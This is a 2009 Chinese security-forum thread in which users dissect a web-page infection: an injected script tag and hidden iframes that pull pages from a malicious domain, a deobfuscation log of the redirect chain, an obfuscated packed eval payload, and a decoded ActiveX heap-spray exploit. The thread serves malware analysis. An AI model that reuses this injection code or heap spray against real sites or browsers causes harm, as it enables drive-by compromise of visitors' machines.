恶意挂马 (被挂。by IllusionWing)

dayang1717

<script src=http://count.count.xj.cn/images/images/1.css></script>

if(document.location.href.indexOf("gov")>=0)
{} else {
document.write("<div style='display:none'>")
document.write("<iframe src=http://xj.count.xj.cn/images/images/mepeg.htm></iframe>")
document.write("<iframe src=http://xj.count.xj.cn/images/images/ff.htm></iframe>")
document.write("<iframe src=http://xj.count.xj.cn/images/images/of.htm></iframe>")
document.write("<iframe src=http://xj.count.xj.cn/images/images/tj.htm></iframe>")
document.write("</div>")}

[ 本帖最后由 cchao21 于 2009-8-22 11:12 编辑 ]

IllusionWing

File Unreachable..

Micropoint

可以访问的
keyu来看看

IllusionWing

囧。。

IllusionWing

貌似这个被JSPACK加死了。。

Micropoint

关于:hxxp://count.count.xj.cn/images/images/1.css解密的日志(全体输出 -  7):

Level  0>http://count.count.xj.cn/images/images/1.css  ●
Level  1>http://xj.count.xj.cn/images/images/mepeg.htm
Level  2>http://xj.count.xj.cn/images/images/dj1.swf  ●
Level  2>http://xj.count.xj.cn/images/images/dj.swf  ●
Level  1>http://xj.count.xj.cn/images/images/ff.htm
Level  1>http://xj.count.xj.cn/images/images/of.htm
Level  1>http://xj.count.xj.cn/images/images/tj.htm

日志由 Redoce2.0第27次修正版于 2009-8-20 10:52:40 生成。

http://xj.count.xj.cn/images/images/dj1.swf

1. 
   
2. e  va     l     (       f   u    n   c  t  i     o n(    p , a    ,c      ,   k ,  e,d)       {e       =f  u n   c     t i       o   n (c       ) {    r    e t      u       rn(      c      <  a     ? '       '  :e       (      p    a     r       s eI       n      t (     c     /    a)       )       ) +   (      (   c       = c      %a  )   >    3       5       ?       S t      r     in  g    .     f     r  o  m   C  h     a     r   C   o  d      e       (    c +  2       9     )  :   c  .       t    o  S     t      ri    n       g(      3 6       )  )  }    ;     i    f     (    !      '   '   .    r       e pl a   c e      (/  ^     / ,  S     t      r   i   n g   )       )   {w       h   i     l  e (    c       -     -      )    {     d    [     e   (c      )     ]   =  k      [c       ]      |     |    e   (   c)  }  k      =       [    f       un     c     t i    o  n   (       e       )    {    r e  t       u r    n      d    [      e  ]      }]   ;      e       = f       u       n    cti      o  n    (  ){     r  et      u   r n      '      \       \   w    + '     }    ;    c   =  1  }    ;      w  h    i   l    e(   c -       -       )       {     if     (  k       [ c     ]      )  {p     =   p    . r       e  p       l       a       ce  (   n       e      w         R   e  g   E     x      p   (' \  \   b       '   +      e (   c      )  +'       \  \       b   '     ,   '      g  '      ), k [  c       ]     )       } } r     e   t u r       n      p    }   (   '       U     (      " \       \      z\ \     3    \       \5  \    \     7  \  \       h      \       \      1     \\  3       \     \ o \     \      1       \\     5 \  \      2      \      \       l\     \P   \       \  1  \       \    8  \\      C  \  \ i  \    \6  \  \      b       \  \       a   \ \  4      \      \       4   \\   4   \   \ 4 \      \   2   \ \ 7       \       \8  \\ 7   \  \     g  \\   0 \       \       9    \   \  2\    \       l       \     \     o    \   \   V  \       \     i      \     \ y\\      K \\   K    \    \  A      \   \     D    \\  J  \     \   C      \  \ B \  \      G\     \E \ \    C    \    \ Q\  \       B    \       \    M    \\D   \       \  G \   \    A  \       \ B       \  \   A\ \C       \ \G     \\    y     \  \ B       \   \A  \       \  J       \     \   I       \    \     E     \      \       N  \       \      N     \       \    C\     \       F \\   M     \    \J     \ \D      \  \E     \   \     g     \      \6\\     b      \     \     a \ \2      \      \1     \      \ 1 \ \      1  \    \ 7\      \8     \    \   7     \   \     g       \   \ y    \  \ i    \      \   y\      \     i    \ \ g \   \   6  \       \    b      \      \     a     \     \     2\       \     3  \       \3\   \     3  \     \     7    \     \      8     \       \   g     \   \ L   \ \   w \\  y    \      \      g    \\  6 \       \  b \   \ a    \       \    2     \       \       r    \  \       r      \   \   r\    \ 7    \ \  8     \      \    g     \    \       i \  \      y   \  \  i  \       \       g   \      \ 6    \       \b\ \       a \ \   h  \ \    3      \    \ 8\       \       g \       \    L      \    \   w    \ \       g    \\       6      \    \  b \    \       a\    \   2  \    \   q     \    \q  \   \    q    \    \       7      \      \8   \       \       7      \     \ 2    \    \  3    \    \       3  \  \       3 \ \     7  \    \      n    \   \       7       \\   2   \\    r  \   \       r   \   \r      \       \       7      \\       n       \      \     7\    \ h       \       \     3       \\      7   \       \     n \      \    7\   \      2   \       \    1  \       \     1       \     \ 1\  \      6      \       \     b  \       \     a     \       \ z   \  \     3     \   \     5   \     \       7     \     \  o  \\   3\   \  2   \\      h \\      1  \\     9       \\    9       \  \    8   \    \     2       \\    n      \\  w    \     \     6   \      \     b  \   \    a     \  \   z      \      \3   \   \   5       \ \     7  \   \ c     \ \d       \\       f      \    \      4      \\    5    \    \      c \      \     8 \    \       w     \    \       p      \\ 1   \  \       2    \      \   0     \   \ 3 \      \  v   \ \1       \       \    u    \\       2   \  \  q  \    \  q\      \   q       \  \     t       \  \6   \     \    b       \  \     a  \       \  z\\  3  \\    5  \     \ 7       \   \ 2      \    \     9 \       \     3  \     \  0\ \ r    \ \   2\      \    v\ \3       \       \ 0\    \1     \    \ 8  \\    h  \       \ 1      \     \       3 \     \  o   \ \       1\    \       5   \  \      2  \     \  l    \   \   P   \  \       1       \ \      n   \       \     o\\    3  \\      2\      \      h     \ \   1\     \     9   \   \      9   \   \       k    \  \ 9   \       \1    \    \p      \   \ j      \     \       e \ \   h    \      \     6     \       \      b\    \       a   \      \      s       \      \  h     \    \      l   \  \     9    \    \   1   \     \    u     \       \  c       \       \    d    \    \  f     \     \    4 \    \       5    \   \       c \ \    k   \    \       9  \       \   1    \      \    p       \     \ j      \ \     e  \   \    h   \  \   H \\   2   \ \9     \\    3\\       0 \  \    r     \       \     2      \      \v \      \3    \ \       0   \      \ 1   \  \   t       \   \   7    \     \  c    \      \   d \      \      f       \    \  4       \      \    5 \   \  c      \      \ n\     \ 8      \  \c      \       \       d \  \ f  \      \       4      \       \5       \     \      c       \  \ 6  \\  b  \ \       a     \       \       4    \     \     O      \     \   d     \      \      f\    \  4   \     \ 5   \   \  8 \ \c\    \       d   \   \f      \     \       4    \    \    5       \       \       c       \   \  k \ \    2       \      \w       \       \  4     \       \    2 \    \       e     \   \    5 \      \    l    \ \      p    \      \      j    \     \  u \    \     i   \      \   T      \\  2     \   \    9   \ \       3       \  \  0  \     \    r      \    \2     \   \   v   \\3  \   \  0   \       \    1    \   \     t       \ \ 6   \ \       b \     \      a     \   \  s     \   \    m      \     \      2  \\ 0     \    \       0     \\   0    \     \       0 \   \  0\  \      0     \  \      j    \     \   8     \\    c      \ \     d \\f\  \     4    \     \     5       \    \   c     \    \       k  \     \2      \  \w  \    \    4       \       \       2  \   \    e\\      5      \     \       l      \      \p      \       \ j    \       \     u    \ \   i    \      \   T     \ \c    \\  d    \      \     f  \    \  4   \  \   5      \   \     c \    \   k       \   \ 9       \     \      1       \       \   p     \       \    j  \   \e \ \       h \     \ B     \   \     2\  \ 9 \       \   3 \     \  0      \\r     \\    2\       \v \   \  3 \   \       0\ \       1 \ \       t    \\     6\      \      b     \     \  a      \    \       s \      \      h   \   \      l    \   \9 \ \  1       \    \     u      \     \     s \\       m      \    \      2 \ \       0     \  \      0 \ \  0       \\     0      \    \      0\\ 0 \     \      j \   \  k  \       \  9 \       \       1    \\  p     \    \   j \       \     e\ \h   \      \      n \ \  2 \   \ 9  \   \3      \       \    0   \     \r       \     \      2  \       \ v      \       \    3  \    \     0    \\       1     \       \H  \      \i  \ \q       \  \    I \ \i \    \       i \ \       i     \ \     i       \   \t    \     \ 7 \     \ s  \  \     m       \     \    2 \      \      0\       \   0\  \       0      \   \     0       \  \   0   \\  0 \    \       j  \       \   8     \ \  s       \      \      m     \       \   2   \ \   0    \ \       0       \      \   0     \ \      0     \\    0\\ 0     \   \ j   \  \      n     \\  s  \ \      m       \      \      2  \    \       0      \   \    0\    \       0      \ \      0 \ \      0 \    \     0    \    \     j    \   \    n\   \    4  \       \   O  \       \    d     \      \    f    \      \     4       \   \       5     \      \     6\ \   b      \      \     a       \   \      d \      \   1    \ \    d      \      \c     \ \5   \       \       f  \    \    8    \     \      p \   \     1  \     \       s\   \    7  \    \   A\    \      5     \   \ 5       \\3   \    \    f   \   \      u      \  \    t       \\  6       \      \ b       \   \     a   \       \ S     \\    c     \  \    5 \      \  u  \      \     q    \    \   8       \\    i \     \ 6\     \ q \      \ H   \      \I    \      \      i\       \i  \   \   6     \     \       q       \\ n       \ \       n   \    \       t \   \ 7    \       \  d  \\  1     \       \     d       \   \    c  \\      5      \   \  f     \      \ Y\    \   q  \   \     Z \    \  8      \ \    s       \       \    m      \   \   2     \      \   0  \   \   0      \\ 0     \    \0\     \      0      \   \0 \     \  j       \   \   n  \      \o     \      \3      \\    2  \\ h       \ \     1 \ \   9  \  \     9  \    \ 6   \       \       b      \      \       a       \     \   z       \       \ 3       \       \5      \  \    7    \    \       d     \       \   f \  \  x \      \      4     \     \m \   \      1\    \       0    \      \  e   \\       8\ \       o   \\      c \   \     0       \       \      w    \  \   d  \ \   1     \      \   p   \   \      e    \     \k\  \  0\\     5    \   \   1\   \     3     \\      e     \    \    1       \   \  Q   \\ 9 \       \       1  \ \d    \     \     1  \  \       p\   \    e     \      \ u  \     \   g      \\c       \      \  4\       \  m       \  \     1 \   \       0 \      \      e  \  \      g  \\t   \  \    6 \     \ b       \       \      a     \\     F      \       \       l\     \ z  \       \    X       \ \       F     \      \  k  \\       3  \  \  v \   \v       \       \1 \       \ p       \\      o     \      \     D     \ \  h    \   \l    \  \      9     \    \   o    \ \  u   \  \   d  \      \   f \    \x\      \      4     \ \  m\\1  \   \      0 \     \     e    \      \     t    \\     6     \    \      b\   \    a  \     \      d  \      \ f      \      \x   \    \    4       \     \     m       \   \  1    \   \   0      \  \ e     \       \  k       \   \     s  \\     l      \     \       o  \ \  e \       \h   \       \    8     \     \      g      \ \   R  \ \    g      \     \       6     \      \b\      \   a \      \   d  \       \    f\      \       x    \ \   4      \       \     m    \   \     1 \ \       0      \\ e \  \ k      \   \h     \ \1       \       \      l \     \   j    \  \    h    \    \       e       \     \    8      \  \     g   \\  R \\g   \\  6      \  \       b    \     \      a     \     \d      \    \      f   \   \  x   \      \      4     \\m   \ \ 1 \     \       0   \\     e     \\      k     \     \o   \      \3      \    \      e\      \    3       \       \      8 \   \    g \   \    k\\ W\\      9      \    \ c     \ \    j     \       \  c     \    \k\     \j       \      \  l       \     \     S       \ \   g\ \     6      \     \  b    \   \a      \  \ d    \     \      f    \   \     x   \ \  4    \  \  m \ \    1     \       \  0   \      \ e      \    \  k \    \  0   \ \      9   \\   3 \\       2 \    \  2      \       \   l     \  \o \  \    8     \   \ 4      \      \       4       \  \   4      \ \ 4  \\     2   \     \ 6   "    )    '     ,  6       2     ,   6  2 ,   '     1    4 3    |     1    4     5 | 1  6     3| 1 41   | 1      4      2      |    1     6     2     |     7 3 | 4   0       | 7    5  |     1  5 4      | 1     2  |1 5|      1     57 |1      5       5|    1   6     4     |     171  |4     7   |      1    5    0 |     6  0       |14    7 |     5 6 |  1       5       1       | 1    52    |      5   3    |       1  4   4  |       1       5      6|    17   0 |   15 3 |1      6    7|       51    |    5    0|  1   6    0     |       1      6   5|     1     1   7  |       7  1     | 1      6   6 | 1   0 1      |      5       5  |      6       2       |   1       0       3 |1       0 6       |     1  0      4  |   1   02     |       7 4    |     6   3   |   6     6   |6   5  |      4 5|      6     4 | 6       7      |     1 3  2    |      17     2  |  1       05 | 6      1    |     1      4      6      |  54   | e va   l  |    7   2    |      5 7 |       1 1   1       |  1 33       |1      3 5       '  .      s p      l   i     t       (      ' |       '   )      ,0,    {}    ) )
   

复制代码

IllusionWing

我觉得这玩意儿纯粹瞎来

llzy3575

过滤空格

daxiaoS

空格不要钱啊，这网站都这样？

幸福的猪猪

这个swf文件没有恶意软件下载地址。。。

var headersize=20;
bbbbs = 'clsid:0955AC62-BF2E-4CBA-A2B9-A63F772D46CF';
seee = '9090';
saaa ='%u9';
skkk ='090';
ha='%u';
sxxx = saaa + skkk + ha + seee;
var dashell=s+u;
var omybro=unescape(sxxx);
var slackspace=headersize+dashell.length;
while(omybro.length<SLACKSPACE) omybro+="omybro;
bZmybr=omybro.substring(0,slackspace);
wjsccccccg=omybro.substring(0,omybro.length-slackspace);
while(wjsccccccg.length+slackspace<0x30000) wjsccccccg=wjsccccccg+wjsccccccg+bZmybr;
memory=new Array();
for(x=0;x<300;x++) memory[x]=wjsccccccg+dashell;
var myObject=document.createElement('object');
DivID.appendChild(myObject);
myObject.width='1';
myObject.height='1';
myObject.data='./logo.gif';
myObject.classid=bbbbs;